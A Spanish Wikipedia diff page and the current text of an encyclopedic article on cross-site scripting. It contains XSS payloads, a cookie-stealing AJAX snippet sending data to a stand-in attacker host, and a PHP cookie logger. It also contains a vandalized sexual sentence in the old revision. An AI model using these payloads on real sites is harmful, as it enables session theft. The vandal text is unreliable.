Ir al contenido

Diferencia entre revisiones de «Cross-site scripting»

De Wikipedia, la enciclopedia libre
Contenido eliminado Contenido añadido
Sin resumen de edición
Sin resumen de edición
 
(No se muestran 28 ediciones intermedias de 18 usuarios)
Línea 1: Línea 1:
[[Archivo:Cross-Site Scripting (XSS).png|miniaturadeimagen|Flujo típico de un ataque XSS de tipo almacenado]]
'''Cross-site scripting''' ('''XSS''') es un tipo de vulnerabilidad [[inseguridad informática|informática]] o [[agujero de seguridad]] típico de las aplicaciones Web, que puede permitir a una tercera persona inyectar en páginas web visitadas por el usuario código [[JavaScript]] o en otro lenguaje similar (ej: [[VBScript]]), se puede evitar usando medidas como CSP [[Política del mismo origen]].
'''Una secuencia de comandos en sitios cruzados''' o '''Cross-site scripting''' ('''XSS''' por sus siglas en idioma inglés) es un tipo de ataque informático que permite a un actor de amenazas ejecutar código malicioso en el navegador de otro usuario. Es importante remarcar que el atacante no dirige directamente sus acciones hacia la víctima, sino que explota una [[Agujero de seguridad|vulnerabilidad]] en un sitio web que la víctima visita. Desde la perspectiva del navegador de la misma, el código malicioso, generalmente escrito en [[JavaScript]], parece ser parte legítima del sitio web, lo que convierte al sitio en un colaborador involuntario del atacante.


Los ataques XSS ocurren cuando una aplicación web utiliza la entrada de un usuario sin validarla o sanitizarla adecuadamente. Esto puede resultar en el robo de cookies, tokens de sesión y otra información confidencial. Además, puede ser utilizado para alterar el contenido de un sitio web, redirigir a sitios maliciosos y controlar el navegador de la víctima.
Es posible encontrar una vulnerabilidad de Cross-Site Scripting en aplicaciones que tengan entre sus funciones presentar la información en un [[navegador web]] u otro contenedor de [[páginas web]]. Sin embargo, no se limita a sitios web disponibles en [[Internet]], ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí.


== Mecanismo de ataque ==
XSS es un vector de ataque que puede ser utilizado para robar información delicada, secuestrar sesiones de usuario, y comprometer el navegador, subyugando la integridad del sistema. Las vulnerabilidades XSS han existido desde los primeros días de la Web.<ref>{{cita libro|título=XSS Attacks: Cross site scripting Exploits and Defense|año=2007|isbn=1597491543|páginas=11|idioma=inglés|autor=Jeremiah Grossman; Robert Hansen; Petko D. Petkov; Anton Rager;Seth Forgie|editor=Seth Forgie}}</ref>


XSS es un vector de ataque que puede ser utilizado para robar información delicada, secuestrar sesiones de usuario, y comprometer el navegador, subyugando la integridad del sistema. Las vulnerabilidades XSS han existido desde los primeros días de la Web.<ref name = "Forgie, 2007" />
Esta situación es usualmente causada al no validar correctamente los datos de entrada que son usados en cierta aplicación, o no sanear la salida adecuadamente para su presentación como página web.

Esta situación es habitualmente causada al no validar correctamente los datos de entrada que son usados en cierta aplicación, o no sanear la salida adecuadamente para su presentación como página web.


Esta vulnerabilidad puede estar presente de las siguientes formas:
Esta vulnerabilidad puede estar presente de las siguientes formas:
* '''Directa''' (también llamada Persistente): este tipo de XSS comúnmente filtrado, y consiste en insertar código HTML peligroso en sitios que lo permitan; incluyendo así etiquetas como <[[Guion (informática)|script]]> o <[[iframe]]>.
* '''Directa''' (también llamada Persistente): este tipo de XSS comúnmente filtrado, y consiste en insertar código [[HTML]] peligroso en sitios que lo permitan; incluyendo así etiquetas como <[[Guion (informática)|script]]> o <[[iframe]]>.


* '''Indirecta''' (también llamada Reflejada): este tipo de XSS consiste en modificar valores que la [[aplicación web]] utiliza para pasar variables entre dos páginas, sin usar sesiones y sucede cuando hay un mensaje o una ruta en la [[Localizador Uniforme de Recursos|URL]] del navegador, en una ''[[Cookie (informática)|cookie]]'', o cualquier otra cabecera HTTP (en algunos navegadores y aplicaciones web, esto podría extenderse al [[Document Object Model|DOM]] del navegador).
* '''Indirecta''' (también llamada Reflejada): este tipo de XSS consiste en modificar valores que la [[aplicación web]] utiliza para pasar variables entre dos páginas, sin usar sesiones y sucede cuando hay un mensaje o una ruta en la [[Localizador Uniforme de Recursos|URL]] del navegador, en una ''[[Cookie (informática)|cookie]]'', o cualquier otra cabecera HTTP (en algunos navegadores y aplicaciones web, esto podría extenderse al [[Document Object Model|DOM]] del navegador).
Línea 15: Línea 18:
Supongamos que un sitio web tiene la siguiente forma:
Supongamos que un sitio web tiene la siguiente forma:


<code><nowiki>http://www.example.com/home.asp?frame=menu.asp</nowiki></code>
{{Enlace roto|1=javascript:while(1)alert("Este mensaje saldrá indefinidamente"); |2=javascript:while(1)alert("Este mensaje saldrá indefinidamente"); |bot=InternetArchiveBot }}


y que al acceder se creará un documento HTML enlazando con un frame a menu.asp.
y que al acceder se creará un documento HTML enlazando con un frame a menu.asp.
Línea 21: Línea 24:
En este ejemplo, ¿qué pasaría si se pone como URL del frame un código javascript?
En este ejemplo, ¿qué pasaría si se pone como URL del frame un código javascript?


<source lang="javascript">
<syntaxhighlight lang="javascript">
javascript:while(1)alert("Este mensaje saldrá indefinidamente");
javascript:while(1)alert("Este mensaje saldrá indefinidamente");
</syntaxhighlight>
</source>


Si este enlace lo pone un atacante hacia una víctima, un visitante podrá verlo y verá que es del mismo dominio, suponiendo que no puede ser nada malo y de resultado tendrá un bucle infinito de mensajes.
Si este enlace lo pone un atacante hacia una víctima, un visitante podrá verlo y verá que es del mismo dominio, suponiendo que no puede ser nada malo y de resultado tendrá un [[bucle infinito]] de mensajes.


Un atacante en realidad trataría de colocar un script que robe las cookies de la víctima, para después poder personificarse como con su sesión, o hacer automático el proceso con el uso de la biblioteca [[cURL]] o alguna similar. De esta forma, al recibir la cookie, el atacante podría ejecutar acciones con los permisos de la víctima sin siquiera necesitar su contraseña.
Un atacante en realidad trataría de colocar un script que robe las cookies de la víctima, para después poder personificarse como con su sesión, o hacer automático el proceso con el uso de la biblioteca [[cURL]] o alguna similar. De esta forma, al recibir la cookie, el atacante podría ejecutar acciones con los permisos de la víctima sin siquiera necesitar su [[contraseña]].


Otro uso común para estas vulnerabilidades es lograr hacer [[phishing]]. Quiere ello decir que la víctima ve en la barra de direcciones un sitio, pero realmente está en otra. La víctima introduce su contraseña y se la envía al atacante.
Otro uso común para estas vulnerabilidades es lograr hacer [[phishing]]. Quiere ello decir que la víctima ve en la [[barra de direcciones]] un sitio, pero realmente está en otra. La víctima introduce su contraseña y se la envía al atacante.


Una página como la siguiente:
Una página como la siguiente:
<source lang="javascript">
<syntaxhighlight lang="javascript">
error.php?error=Usuario%20Invalido
error.php?error=Usuario%20Invalido
</syntaxhighlight>
</source>


es probablemente vulnerable a XSS indirecto, ya que si quieres me puedes '''coger por detras'''. Algunas veces si me gusta que me penetres mientras my jefe escribe en el documento "Usuario Inválido", esto significa que un atacante podría insertar HTML y JavaScript si así lo desea.
es probablemente vulnerable a XSS indirecto, ya que si escribe en el documento "Usuario Inválido", esto significa que un atacante podría insertar HTML y JavaScript si así lo desea.


Por ejemplo, un tag como <code><script></code> que ejecute código javascript, cree otra sesión bajo otro usuario y mande la sesión actual al atacante.
Por ejemplo, un tag como <code><script></code> que ejecute código javascript, cree otra sesión bajo otro usuario y mande la sesión actual al atacante.


Para probar vulnerabilidades de XSS en cookies, se puede modificar el contenido de una cookie de forma sencilla, usando el siguiente script. Sólo se debe colocar en la barra de direcciones, y presionar 'Enter'.
Para probar vulnerabilidades de XSS en cookies, se puede modificar el contenido de una cookie de forma sencilla, usando el siguiente script. Solamente se debe colocar en la barra de direcciones, y presionar 'Enter'.


<source lang="javascript">
<syntaxhighlight lang="javascript">
javascript:void prompt("Introduce la cookie:",document.cookie).replace(/[^;]+/g,function(_){document.cookie=_;});
javascript:void prompt("Introduce la cookie:",document.cookie).replace(/[^;]+/g,function(_){document.cookie=_;});
</syntaxhighlight>
</source>


== XSS Directo (persistente) ==
== XSS Directo (persistente) ==
Línea 53: Línea 56:
'''Ejemplos:'''
'''Ejemplos:'''
Una posibilidad es usar atributos que permiten ejecutar código.
Una posibilidad es usar atributos que permiten ejecutar código.
<source lang="html4strict">
<syntaxhighlight lang="html">
<BR STYLE="behavior: url(http://yoursite/xss.htc);">
<BR STYLE="behavior: url(http://yoursite/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<IMG SRC=X ONERROR="alert(/XSS/)">
<IMG SRC=X ONERROR="alert(/XSS/)">
</syntaxhighlight>
</source>


== AJAX ==
== AJAX ==
Línea 74: Línea 77:
</syntaxhighlight>
</syntaxhighlight>


PHP (servidor del atacante):
[[PHP]] (servidor del atacante):


<source lang="php">
<syntaxhighlight lang="php">
<?php
<?php


Línea 89: Línea 92:
$fecha=date("j F, Y, g:i a");
$fecha=date("j F, Y, g:i a");


fwrite($archivo, '<br />Cookie: '.htmlentities($cookie).'<br />Pagina: '.htmlentities($re));
fwrite($archivo, '<br />Cookie: '.htmlentities($cookie).'<br />Página: '.htmlentities($re));
fwrite($archivo, '<br /> IP: ' .$ip. '<br /> Fecha y Hora: ' .$fecha. '</hr>');
fwrite($archivo, '<br /> IP: ' .$ip. '<br /> Fecha y Hora: ' .$fecha. '</hr>');


Línea 95: Línea 98:


?>
?>
</syntaxhighlight>
</source>


== Notas y referencias ==
== Notas y referencias ==

{{listaref}}
{{Listaref|2|refs=
<ref name = "OWASP, 2020" > {{Cita web | url = https://owasp.org/www-community/attacks/xss/ | título = Cross Site Scripting (XSS) | fechaacceso = 14 de abril de 2020 | formato = html | sitioweb = [[Open Web Application Security Project|OWASP]] | idioma = en | urlarchivo = https://web.archive.org/web/20200124150245/https://owasp.org/www-community/attacks/xss/ | fechaarchivo = 24 de enero de 2020 | cita = Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. }} </ref>
<ref name = "Forgie, 2007" >{{cita libro|título=XSS Attacks: Cross site scripting Exploits and Defense |año=2007 |isbn=1597491543 |páginas=11 |idioma=inglés |autor=Jeremiah Grossman; Robert Hansen; Petko D. Petkov; Anton Rager;Seth Forgie |editor=Seth Forgie}}</ref>
}}


== Enlaces externos ==
== Enlaces externos ==
Línea 105: Línea 112:
* [https://www.cgisecurity.com/xss-faq.html XSS FAQ]
* [https://www.cgisecurity.com/xss-faq.html XSS FAQ]


{{Control de autoridades}}
[[Categoría:Hacking]]
[[Categoría:Hacking]]
[[Categoría:Problemas de seguridad informática]]
[[Categoría:Problemas de seguridad informática]]

Revisión actual - 23:01 5 jun 2024

Flujo típico de un ataque XSS de tipo almacenado

Una secuencia de comandos en sitios cruzados o Cross-site scripting (XSS por sus siglas en idioma inglés) es un tipo de ataque informático que permite a un actor de amenazas ejecutar código malicioso en el navegador de otro usuario. Es importante remarcar que el atacante no dirige directamente sus acciones hacia la víctima, sino que explota una vulnerabilidad en un sitio web que la víctima visita. Desde la perspectiva del navegador de la misma, el código malicioso, generalmente escrito en JavaScript, parece ser parte legítima del sitio web, lo que convierte al sitio en un colaborador involuntario del atacante.

Los ataques XSS ocurren cuando una aplicación web utiliza la entrada de un usuario sin validarla o sanitizarla adecuadamente. Esto puede resultar en el robo de cookies, tokens de sesión y otra información confidencial. Además, puede ser utilizado para alterar el contenido de un sitio web, redirigir a sitios maliciosos y controlar el navegador de la víctima.

Mecanismo de ataque

[editar]

XSS es un vector de ataque que puede ser utilizado para robar información delicada, secuestrar sesiones de usuario, y comprometer el navegador, subyugando la integridad del sistema. Las vulnerabilidades XSS han existido desde los primeros días de la Web.[1]

Esta situación es habitualmente causada al no validar correctamente los datos de entrada que son usados en cierta aplicación, o no sanear la salida adecuadamente para su presentación como página web.

Esta vulnerabilidad puede estar presente de las siguientes formas:

  • Directa (también llamada Persistente): este tipo de XSS comúnmente filtrado, y consiste en insertar código HTML peligroso en sitios que lo permitan; incluyendo así etiquetas como <script> o <iframe>.
  • Indirecta (también llamada Reflejada): este tipo de XSS consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones y sucede cuando hay un mensaje o una ruta en la URL del navegador, en una cookie, o cualquier otra cabecera HTTP (en algunos navegadores y aplicaciones web, esto podría extenderse al DOM del navegador).

XSS Indirecto (reflejado)

[editar]

Supongamos que un sitio web tiene la siguiente forma:

http://www.example.com/home.asp?frame=menu.asp

y que al acceder se creará un documento HTML enlazando con un frame a menu.asp.

En este ejemplo, ¿qué pasaría si se pone como URL del frame un código javascript?

 javascript:while(1)alert("Este mensaje saldrá indefinidamente");

Si este enlace lo pone un atacante hacia una víctima, un visitante podrá verlo y verá que es del mismo dominio, suponiendo que no puede ser nada malo y de resultado tendrá un bucle infinito de mensajes.

Un atacante en realidad trataría de colocar un script que robe las cookies de la víctima, para después poder personificarse como con su sesión, o hacer automático el proceso con el uso de la biblioteca cURL o alguna similar. De esta forma, al recibir la cookie, el atacante podría ejecutar acciones con los permisos de la víctima sin siquiera necesitar su contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing. Quiere ello decir que la víctima ve en la barra de direcciones un sitio, pero realmente está en otra. La víctima introduce su contraseña y se la envía al atacante.

Una página como la siguiente:

 error.php?error=Usuario%20Invalido

es probablemente vulnerable a XSS indirecto, ya que si escribe en el documento "Usuario Inválido", esto significa que un atacante podría insertar HTML y JavaScript si así lo desea.

Por ejemplo, un tag como <script> que ejecute código javascript, cree otra sesión bajo otro usuario y mande la sesión actual al atacante.

Para probar vulnerabilidades de XSS en cookies, se puede modificar el contenido de una cookie de forma sencilla, usando el siguiente script. Solamente se debe colocar en la barra de direcciones, y presionar 'Enter'.

javascript:void prompt("Introduce la cookie:",document.cookie).replace(/[^;]+/g,function(_){document.cookie=_;});

XSS Directo (persistente)

[editar]

Funciona localizando puntos débiles en la programación de los filtros de HTML si es que existen, para publicar contenido (como blogs, foros, etc.).

Normalmente el atacante tratara de insertar tags como <iframe>, o <script>, pero en caso de fallar, el atacante puede tratar de poner tags que casi siempre están permitidas y es poco conocida su capacidad de ejecutar código. De esta forma el atacante podría ejecutar código malicioso.

Ejemplos: Una posibilidad es usar atributos que permiten ejecutar código.

<BR STYLE="behavior: url(http://yoursite/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<IMG SRC=X ONERROR="alert(/XSS/)">

AJAX

[editar]

Usar AJAX para ataques de XSS no es tan conocido, pero sí peligroso. Se basa en usar cualquier tipo de vulnerabilidad de XSS para introducir un objeto XMLHttp y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.

Este se ha popularizado con gusanos de XSS que se encargan de replicarse por medio de vulnerabilidades de XSS persistentes (aunque la posibilidad de usar XSS reflejados es posible).

El siguiente script de ejemplo obtiene el valor de las cookies y seguidamente las enviaría al atacante.

Javascript:

var cookiesDeUsuario = document.cookie;

var xhr = new XMLHttpRequest(); // Objeto Ajax
xhr.open('GET', 'www.servidor-atacante.com/cookies.php');
xhr.send('c=' + cookiesDeUsuario);

PHP (servidor del atacante):

<?php

$archivo = fopen('log2.htm','a');

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");

fwrite($archivo, '<br />Cookie: '.htmlentities($cookie).'<br />Página: '.htmlentities($re));
fwrite($archivo, '<br /> IP: ' .$ip. '<br /> Fecha y Hora: ' .$fecha. '</hr>');

fclose($archivo);

?>

Notas y referencias

[editar]
  1. Jeremiah Grossman; Robert Hansen; Petko D. Petkov; Anton Rager;Seth Forgie (2007). Seth Forgie, ed. XSS Attacks: Cross site scripting Exploits and Defense (en inglés). p. 11. ISBN 1597491543. 
Error en la cita: La etiqueta <ref> definida en las <references> con nombre «OWASP, 2020» no se utiliza en el texto anterior.

Enlaces externos

[editar]